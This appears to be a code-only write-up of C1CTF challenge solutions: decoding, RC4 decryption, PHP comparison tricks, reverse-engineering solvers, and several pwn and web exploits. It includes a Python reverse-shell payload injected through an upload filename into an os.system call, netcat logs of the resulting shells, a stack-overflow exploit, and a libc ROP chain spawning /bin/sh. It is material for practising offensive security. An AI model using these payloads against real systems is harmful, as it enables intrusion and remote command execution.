1$ base64 -d                                     
2QzFDVEZ7dzNsZWMwbWVfdE9fQzFDVEZ9
3C1CTF{w3lec0me_tO_C1CTF}

1>>> import os
2>>> os.system('/bin/ls /home/ssh_bash/')
3bin  c5836008c1649301e29351a55db8f65c
40
5>>> os.system('/bin/cat c5836008c1649301e29351a55db8f65c')
6C1CTF{Bash_l1mit3d}
70

 1from PIL import Image
 2
 3img = Image.open('cat&dog.jpg')
 4#region = (0, 0, 200, 200)
 5# (x0,y0,x1,y1)
 6num = 0
 7for y in range(87):
 8    for x in range(87):
 9        tmp = (0 + x * 200, 0 + y * 200, 200 + x * 200, 200 + y * 200)
10        part = img.crop(tmp)
11        part.save(f'pics/{num}.png')
12        num += 1

 1import os
 2import sys
 3import shutil
 4import numpy as np
 5
 6import usefull_utils
 7
 8#Iterate over all data and get prediction errors
 9
10os.environ['GLOG_minloglevel'] = '2' 
11
12import caffe
13
14'''if len(sys.argv) != 6:
15    print "Usage: python get_predition_errors.py deploy.prototxt model.caffemodel mean.npy <cat_data_folder> <dog_data_folder>"
16    sys.exit()'''
17    
18DEPLOY_PROTOTXT = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/deploy.prototxt' #deploy.prototxt
19CAFFE_MODEL = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/model.caffemodel'#model.caffemodel
20MEAN_FILE = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/mean.npy' #mean.npy
21MODEL_POSTFIX= CAFFE_MODEL.split(os.sep)[-2] # not safe way
22'''CAT_DATA_FOLDER= sys.argv[4]
23DOG_DATA_FOLDER= sys.argv[5]'''
24
25print("MODEL_POSTFIX", MODEL_POSTFIX)
26
27#caffe.set_mode_gpu()
28net = caffe.Classifier(DEPLOY_PROTOTXT, CAFFE_MODEL,
29                       mean=np.load(MEAN_FILE).mean(1).mean(1),
30                       channel_swap=(2,1,0),
31                       raw_scale=255,
32                       image_dims=(256, 256))
33
34from PIL import Image
35img = Image.new("L", (87, 87), 255)
36col = 0
37row = 0
38for i in range(7569):
39    prediction = net.predict([caffe.io.load_image('pics/' + str(i) + '.png')])
40    print(i, prediction[0].argmax())
41    if (prediction[0].argmax() == 1):
42        img.putpixel((col, row), 0)
43    col += 1
44    if col == 87:
45        img.show()
46        row += 1
47        col = 0
48img.save('out.png')

 1def crypt(data, key):
 2    """RC4 algorithm"""
 3    x = 0
 4    box = [i for i in range(256)]
 5    for i in range(256):
 6        x = (x + box[i] + ord(key[i % len(key)])) % 256
 7        box[i], box[x] = box[x], box[i]
 8    x = y = 0
 9    out = []
10    for char in data:
11        x = (x + 1) % 256
12        y = (y + box[x]) % 256
13        box[x], box[y] = box[y], box[x]
14        out.append(chr(char ^ box[(box[x] + box[y]%256) % 256]))
15
16    return ''.join(out)
17
18data = open('easy_enc.txt', 'rb').read()
19key = 'hello world'
20data = data.replace("\r".encode(), "".encode())
21data = crypt(data, key)
22print(data)
23# C1ctf{5ca4a10ca6de1639674a822cc93c81fb}

 1import base64
 2key = "_____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)\*__+_)\*\*_________+_______*(((_________%_______)\*__+_______-(________//________))\*\*_______)+(________/__)*(((____-_+_______)*(______+____))\*\*___)+___\*((__+_________-_)\*\*_____)+___\*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))\*\*__)+(_//_)\*(((________%___%__+_____+_____)%______)+_______-_)\*\*___+_____\*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___"
 3for i in range(100, 0, -1):
 4    key = key.replace("_" * i, str(i))
 5print(key)
 6key = int(eval(key))
 7print(key)
 8key = hex(key)
 9print(base64.b16decode(key[2:].upper()))
10
11$ python2 crypto1/rep.py # 注意这里得用 python2, 3的话会自动转浮点, 精度会丢失
125((2//2+3+6-4%4)((3%(3-1))+8+(3%3+5+7%2+6-(6//(5%3)))))+2(((8/2)+3%2+7-(8//4))(1(5+5)+7+9%3))+8(((9//2+8%2)+(7-1))((3+7)+9-(6//2)))+7((3+9-(6//3-7%2%1))(5+5+5))+2(2+9-(3//3-9%5%2))(9-4+7)+(3+7)(8%3%2+5+6)+(5-2)((4//4-5%4%1)+9)(5-(7//7+9%3)+6)+(5+(9%7)2+1)9+7(((9%7)2+7-(8//8))7)+(8/2)(((4-1+7)(6+4))3)+3((2+9-1)5)+3(((3+7-6/3+2-9%5%2)(3-1+8/2+9%5))2)+(1//1)(((8%3%2+5+5)%6)+7-1)*3+5((6/(5%3))+7)((9%7)2+5+1)+3//3+9+9/3
135287002131074331513
14I_4m-k3y

 1def crypt(data, key):
 2    """RC4 algorithm"""
 3    x = 0
 4    box = range(256)
 5    for i in range(256):
 6        x = (x + box[i] + ord(key[i % len(key)])) % 256
 7        box[i], box[x] = box[x], box[i]
 8    x = y = 0
 9    out = []
10    for char in data:
11        x = (x + 1) % 256
12        y = (y + box[x]) % 256
13        box[x], box[y] = box[y], box[x]
14        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
15
16    return ''.join(out)
17
18def tencode(data, key, encode=base64.b64encode, salt_length=16):
19    """RC4 encryption with random salt and final encoding"""
20    salt = ''
21    for n in range(salt_length):
22        salt += chr(random.randrange(256))
23    data = salt + crypt(data, sha1(key + salt).digest())
24    if encode:
25        data = encode(data)
26    return data
27
28def tdecode(data, key, decode=base64.b64decode, salt_length=16):
29    """RC4 decryption of encoded data"""
30    if decode:
31        data = decode(data)
32    salt = data[:salt_length]
33    return crypt(data[salt_length:], sha1(key + salt).digest())
34
35print tdecode(strCipher, key)
36# C1ctf{5f601e8cc1bde1f1a54e336158ba766d}

1$ nc -lvvp 19132
2Listening on [0.0.0.0] (family 0, port 19132)
3Connection from 212.64.85.131 40172 received!
4/bin/sh: 0: can't access tty; job control turned off
5# ls
6app.py
7flag
8# cat flag
9C1CTF{hello_world}

1php > var_dump(md5(array()));
2PHP Warning:  md5() expects parameter 1 to be string, array given in php shell code on line 1
3
4Warning: md5() expects parameter 1 to be string, array given in php shell code on line 1
5NULL

1mysql -u root -e "SELECT path FROM ctf.flag" -h127.0.0.1

1mysql -u root -e "SELECT load_file('/var/lib/mysql-files/flag.txt')" -h127.0.0.1

 1def do_GET(request,filename):
 2    full_path = os.path.join('static', filename)
 3    #print(full_path)
 4    if not os.path.exists(full_path):
 5        return HttpResponseNotFound('<h1>file not found<h1>')
 6    else:
 7        if(filename[-3:]=="css"):
 8            response = HttpResponse(read_file(full_path))
 9            response['Content-Type'] = 'text/css'
10            response['Content-Length'] = os.path.getsize(full_path)
11            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
12            response['Accept-Ranges'] = 'bytes'
13            return response
14        elif(filename[-3:]=="svg"):
15            response = HttpResponse(read_file(full_path))
16            response['Content-Type'] = 'image/svg+xml'
17            response['Content-Length'] = os.path.getsize(full_path)
18            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
19            response['Accept-Ranges'] = 'bytes'
20            return response
21        else:
22            response = HttpResponse(read_file(full_path))
23            response['Content-Type'] = 'text/html'
24            response['Content-Length'] = os.path.getsize(full_path)
25            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
26            response['Accept-Ranges'] = 'bytes'
27            return response   
28def read_file(filename):
29    try:
30        with open(filename, 'rb') as f:
31            content = f.read()
32            yield content
33        f.close()
34    except Exception as e:
35        print(e.message)
36        print('read error')

 1def Do_upload(request): #文件上传, 格式转换
 2    black_list = ['`',';','&','|',"PS",'>',"<"]
 3    #return HttpResponse(os.path)
 4    if request.method == 'POST':
 5        ret = {'status': False, 'data': None, 'error': None}
 6        user = request.POST.get('user')
 7        img = request.FILES.get('img')
 8        for i in black_list:
 9            if i in img.name:
10                return HttpResponse("你是魔鬼吗？")
11        f = open(os.path.join('upfile', img.name), 'wb')
12        #return HttpResponse(os.path)
13        for chunk in img.chunks(chunk_size=1024):
14            if b"%!PS" in chunk:
15                 return HttpResponse("你是个大魔鬼！")
16            f.write(chunk)
17        f.close()
18        ret['status'] = True
19        ret['data'] = os.path.join('upfile', 'smaller_'+img.name)
20        command = "convert -resize 200x100 \`pwd\`/upfile/"+img.name+"  \`pwd\`/upfile/smaller_"+img.name+";rm \`pwd\`/upfile/"+img.name
21        #os.system("echo "+command+"> /tmp/123")
22        os.system(command)
23        return HttpResponse(json.dumps(ret))
24        # except Exception as e:
25        #     ret['error'] = e
26        # finally:
27        #     f.close()
28        #     return HttpResponse(json.dumps(ret))
29    else:
30        return HttpResponse('')

1import requests
2
3files = {
4    "img": ("asd\npython -c \"import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('Your_ip',19132))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([chr(47)+'bin'+chr(47)+'sh','-i'])\"", "asd")
5}
6
7res = requests.post("http://212.64.89.186/upload/", files=files)
8print(res.text)

 1$ nc -lvvp 19132
 2Listening on [0.0.0.0] (family 0, port 19132)
 3Connection from 212.64.89.186 38538 received!
 4/bin/sh: 0: can't access tty; job control turned off
 5$ ls
 6FlightTicket
 7a.txt
 8aaab.txt
 9article.db
10booksystem
11flightdb.sqlite3
12index.html
13index.html.1
14index.html.2
15manage.py
16nohup.out
17pass.txt
18requirements.txt
19static
20templates
21testdb.py
22upfile
23$ cat ~/Flaaa44444AAAAAAGGGGGG
24flag{Django_is_Very_Interesting}

 1<?php
 2ini_set("display_errors", 0);
 3error_reporting(E_ALL ^ E_NOTICE);
 4error_reporting(E_ALL ^ E_WARNING);
 5include('config.php');
 6$v1 = ['admin','test'];
 7$v2 = $_POST['v2'];
 8$number = 1;
 9$v5=0;
10if($v2 === $v1 & $v2[0] != 'admin'){//There you can execute the command
11    
12    $v3 = $_GET['v3'];
13    $v4 = $_GET;
14    foreach($v4 as $key => $cmd){
15        if($key == $system_function){
16            $v5 = 1;
17        }
18if($v5 && strlen($v3)>11 && $number == 3){
19            $system_function($cmd,$key); 
20        }
21        $number++;
22    }
23}else{    
24    echo "sorry";
25}
26highlight_file('hhhhhhhhhhhhhhhh_exec.php');

1if($key == $system_function){
2    $v5 = 1;
3}

1<?php
2$a = "asdsadsad";
3$b = 0;
4echo $a==$b;

1if (((unsigned __int8)s[i + 1] ^ (unsigned __int8)s[i]) != *(&v5 + i))

1unsigned char flag2[31] = { 0x72,0x72,0x17,0x12,0x3d,0x23,0x68,0x42,0x2d,0x1e,0x25,0x0e,0x0b,0x22,0x70,0x5d,0x1a,0x2b,0x3c,0x2b,0x29,0x13,0x2d,0x66,0x0f,0x62,0x2d,0x2a,0x29,0x13,0x14 };
2unsigned char flag[33] = { 'C' };
3for (int i = 1; i < 32; i++) {
4    flag[i] = flag2[i-1] ^ flag[i - 1];
5}
6//"C1CTF{X0r_AdjaC3nt_cHar_96TySzi}"	

 1_BYTE \*__fastcall sub_A84(__int64 a1, _BYTE \*a2)
 2{
 3  _BYTE *result; // rax
 4  _BYTE *v3; // [rsp+0h] [rbp-20h]
 5  char v4; // [rsp+19h] [rbp-7h]
 6  unsigned __int8 v5; // [rsp+1Ah] [rbp-6h]
 7  unsigned __int8 i; // [rsp+1Bh] [rbp-5h]
 8  int v7; // [rsp+1Ch] [rbp-4h]
 9
10  v3 = a2;
11  v4 = 0;
12  v5 = 0;
13  v7 = 0;
14  while ( *(_BYTE *)(v7 + a1) )
15  {
16    \*v3++ = sub_7FA((unsigned __int8)((int)\*(unsigned __int8 *)(v7 + a1) >> (v5 + 2)) | v4); //舍弃 v7中的v5+2位
17    v5 = (v5 + 2) & 7;   // mod 8 剩余位数
18    v4 = 0;
19    for ( i = 0; i < v5; ++i )
20      v4 |= ((1 << i) & *(unsigned __int8 *)(v7 + a1)) << (6 - v5);   //取出v7中剩余的位数, v5位
21    if ( v5 <= 5u ) // 不足五位向前取一位
22      ++v7;
23  }
24  result = v3;
25  *v3 = 0;
26  return result;
27}

 1#!/usr/bin/env python3
 2
 3t = 'nopqrstuvwxyzabcdefghijklm0123456789ABCDEFGHIJKL+/MNOPQRSTUVWXYZ'
 4s = 'KFjUWyZ592NvPU1CCa5xAIRVAa4CTEN6+bjwWlqm'
 5a = ''
 6flag = ''
 7for ch in s:
 8    i = t.find(ch)
 9    a += '{0:0>6b}'.format(i)
10
11for i in range(0,len(a),8):
12    if i/8 % 2 == 0:
13        flag += chr(int(a[i:i+8],base=2) ^ 0xF9 )
14    else:
15        flag += chr(int(a[i:i+8],base=2) ^ 0xA4 )
16
17print(flag)
18#C1CTF{th1s_Bas364_is_BuD9ApUy}

 1#!/usr/bin/env python3
 2import socket
 3
 4sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 5sock.connect(("your ip address",9990))
 6
 7payload = b'2'+b'\n'
 8sock.sendall(payload)
 9payload = b'10'+b'\n'
10sock.sendall(payload)
11payload = b'3544388184383369539\n'
12sock.sendall(payload)
13print(sock.recv(100))
14
15payload = b'2'+b'\n'
16sock.sendall(payload)
17payload = b'11'+b'\n'
18sock.sendall(payload)
19payload = b'56\n'
20sock.sendall(payload)
21print(sock.recv(100))
22
23payload = b'0'+b'\n'
24sock.sendall(payload)
25print(sock.recv(100))
26print(sock.recv(100))
27print(sock.recv(100))

 1#!/usr/bin/env python3
 2
 3import socket  
 4import time
 5
 6      
 7def pwn():  
 8    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 9    s.connect(("your ip address",9990))  
10    time.sleep(0.5)
11    print(s.recv(1024))
12    # 选择写入内容
13    payload = b'1'
14    # 向服务器发送数据  
15    s.sendall((payload + b'\n'))
16    time.sleep(0.5)
17    print(s.recv(2048))
18    # 写入字符串%p
19    payload = b'%p'
20    
21    s.sendall((payload + b'\n'))
22    time.sleep(0.5)
23    print(s.recv(1024))
24    # 读取地址%p
25    payload = b'2'
26    s.sendall((payload + b'\n'))
27    time.sleep(0.5)
28    #'Here is your string:\r\n00D72230'
29    r = s.recv(1024).decode('gbk')
30    print(r)
31    # 选择写入
32    payload = b'1'
33    s.sendall((payload + b'\n'))
34    time.sleep(0.5)
35    
36    print(s.recv(1024).decode('gbk'))
37    # 写入Payload 覆盖返回值, 获取shell
38    payload = b'A'*20+(int(r[-8:],base=16)+176).to_bytes(4,'little')
39    s.sendall((payload + b'\n'))
40    time.sleep(0.5)
41    print(s.recv(1024).decode('gbk'))
42
43
44    payload = b'type flag.txt'
45    s.sendall((payload + b'\n'))
46    time.sleep(0.5)
47    print(s.recv(2048).decode('gbk'))
48
49    s.close()
50
51
52pwn()

 1#!/usr/bin/env python
 2from pwn import *
 3
 4p = process("./pwn2")
 5
 6
 7p.send('1\n')
 8print(p.recv())
 9p.send('15\n')
10#print(p.recv())
11t = p.recv()
12print(t)
13libc_main_ret = [int(s) for s in t.split() if s.isdigit()][0]
14print(libc_main_ret)
15
16libc_main_base = libc_main_ret - 0x021B97
17
18libc_pop_rdi = libc_main_base + 0x02155f 
19libc_pop_rdx_rsi = libc_main_base + 0x01306d9
20
21libc_bin_sh = libc_main_base + 0x01b3e9a
22libc_int_80 = libc_main_base + 0x01b3e9a
23libc_execve =  libc_main_base + 0xE4E30
24
25
26#0x000000000002155f : pop rdi ; ret A
27#0x0000000000023e6a : pop rsi ; ret B
28#0x0000000000001b96 : pop rdx ; ret C
29#0x000000000003eb0b : pop rcx ; ret D
30#0x00000000001306d9 : pop rdx ; pop rsi ; ret
31
32p.send('2\n15\n')
33p.send(str(libc_pop_rdi)+'\n')
34print(p.recv())
35
36p.send('2\n16\n')
37p.send(str(libc_bin_sh)+'\n')
38print(p.recv())
39
40p.send('2\n17\n')
41p.send(str(libc_pop_rdx_rsi)+'\n')
42print(p.recv())
43
44p.send('2\n18\n')
45p.send('0\n')
46print(p.recv())
47
48p.send('2\n19\n')
49p.send('0\n')
50print(p.recv())
51
52p.send('2\n20\n')
53p.send(str(libc_execve)+'\n')
54print(p.recv())
55
56p.send('0\n')
57print(p.recv())
58
59p.interactive()